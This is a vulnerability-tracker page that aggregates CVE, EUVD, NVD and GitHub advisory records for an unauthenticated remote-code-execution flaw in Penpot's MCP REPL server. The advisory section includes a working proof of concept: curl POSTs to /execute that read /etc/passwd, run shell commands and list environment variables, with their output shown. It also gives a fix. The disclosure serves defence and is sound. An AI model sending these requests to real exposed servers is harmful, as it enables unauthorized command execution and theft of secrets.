Penpot: MCP REPL server binds to 0.0.0.0 with unauthenticated /execute endpoint — RCE

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Penpot is an open-source design tool for design and code collaboration. Prior to 2.15.0, Penpot MCP's mcp/packages/server/src/ReplServer.ts bound the ReplServer to 0.0.0.0:4403 and exposed an unauthenticated /execute endpoint that passed the code field to PluginBridge.executePluginTask(), allowing anyone on the network to execute JavaScript on the server. This issue is fixed in version 2.15.0.

Source published

15 Jul 2026 15:11:22 UTC

Source modified

15 Jul 2026 15:44:45 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 8.8 CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Penpot is an open-source design tool for design and code collaboration. Prior to 2.15.0, Penpot MCP's mcp/packages/server/src/ReplServer.ts bound the ReplServer to 0.0.0.0:4403 and exposed an unauthenticated /execute endpoint that passed the code field to PluginBridge.executePluginTask(), allowing anyone on the network to execute JavaScript on the server. This issue is fixed in version 2.15.0.

Source published

Jul 15, 2026, 3:11:22 PM (timezone not stated)

Source modified

Jul 15, 2026, 3:44:45 PM (timezone not stated)

Observed here

11 Nov 2026 12:05:11 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 8.8 CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Penpot is an open-source design tool for design and code collaboration. Prior to 2.15.0, Penpot MCP's mcp/packages/server/src/ReplServer.ts bound the ReplServer to 0.0.0.0:4403 and exposed an unauthenticated /execute endpoint that passed the code field to PluginBridge.executePluginTask(), allowing anyone on the network to execute JavaScript on the server. This issue is fixed in version 2.15.0.

Source published

15 Jul 2026 16:16:45 UTC

Source modified

15 Jul 2026 18:15:13 UTC

Observed here

25 Oct 2026 12:17:14 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 8.8 CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

### Summary The MCP module's `ReplServer` binds to all interfaces (`0.0.0.0:4403`) and exposes a `/execute` endpoint that runs arbitrary code with zero authentication. Anyone on the network can POST JavaScript and it runs on the server. The main `PenpotMcpServer` was partially fixed for a similar binding issue (#8683), but `ReplServer.ts` was missed. ### Details `mcp/packages/server/src/ReplServer.ts:89`: ```typescript this.server = this.app.listen(this.port, () => { // NO HOST ARGUMENT — Express defaults to 0.0.0.0 ``` Compare with `PenpotMcpServer.ts:301` which correctly binds to `this.host` (default `"localhost"`): ```typescript this.app.listen(this.port, this.host, async () => { ``` The `/execute` endpoint at `ReplServer.ts:52-79`: ```typescript this.app.post("/execute", async (req, res) => { const { code } = req.body; // No auth check. Executes code via PluginBridge.executePluginTask() const task = new ExecuteCodePluginTask({ code }); const result = await this.pluginBridge.executePluginTask(task); ``` No auth middleware, no token check, no nothing. POST JSON with a `code` field and it runs. This was partially flagged in #8683 (March 2026), which noted that `PenpotMcpServer.ts` was binding to `0.0.0.0`. PR #8686 attempted a fix but was closed without merging, and it only touched `PenpotMcpServer.ts` and `vite.config.ts` — `ReplServer.ts` wasn't in the diff. On current develop, `ReplServer.ts` line 89 still calls `listen(this.port)` with no host argument. ### PoC I ran the ReplServer with Express (matching the actual dependency) and tested from localhost and from a Docker container on the same network. ```bash $ node server.js REPL server started on port 4403 Bound to: :::4403 All interfaces: YES ``` **Unauthenticated code execution:** ```bash $ curl -s -X POST http://localhost:4403/execute \ -H "Content-Type: application/json" \ -d '{"code":"require(\"os\").hostname()"}' {"success":true,"result":"kali"} $ curl -s -X POST http://localhost:4403/execute \ -H "Content-Type: application/json" \ -d '{"code":"require(\"fs\").readFileSync(\"/etc/passwd\",\"utf8\").split(\"\\n\").slice(0,3).join(\"\\n\")"}' {"success":true,"result":"root:x:0:0:root:/root:/usr/bin/zsh\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin"} $ curl -s -X POST http://localhost:4403/execute \ -H "Content-Type: application/json" \ -d '{"code":"require(\"child_process\").execSync(\"id\").toString()"}' {"success":true,"result":"uid=1000(kali) gid=1000(kali) groups=1000(kali)...\n"} $ curl -s -X POST http://localhost:4403/execute \ -H "Content-Type: application/json" \ -d '{"code":"JSON.stringify(Object.keys(process.env).slice(0,5))"}' {"success":true,"result":"[\"SHELL\",\"SESSION_MANAGER\",\"WINDOWID\",\"QT_ACCESSIBILITY\",\"COLORTERM\"]"} ``` **Binding verification:** ``` $ ss -tlnp | grep 4403 LISTEN 0 511 *:4403 *:* users:(("node",pid=696955,fd=21)) ``` Listening on `*:4403` — all interfaces. **Remote access from Docker container:** ```bash $ docker exec penpot-backend curl -s http://172.18.0.1:4403/ REPL Server - Penpot MCP (no auth) ``` Reachable from any container on the Docker network. ### Impact Unauthenticated RCE on any machine running the MCP module. Read files, execute commands, dump environment variables (which often contain database credentials, API keys, secrets). The MCP module isn't part of the default Docker deployment, but developers and teams using the MCP integration for AI-assisted design work would run it locally. In shared development environments or CI/CD, the exposed port is reachable from the network. ### Suggested fix Two lines: 1. Add a `host` parameter to the listen call in `ReplServer.ts:89`: ```typescript this.server = this.app.listen(this.port, 'localhost', () => { ``` 2. Add authentication to the `/execute` endpoint. Even a shared secret from an environment variable would be better than nothing.

Source published

19 May 2026 19:57:36 UTC

Source modified

28 Sep 2026 03:56:37 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Publisher rating · HIGH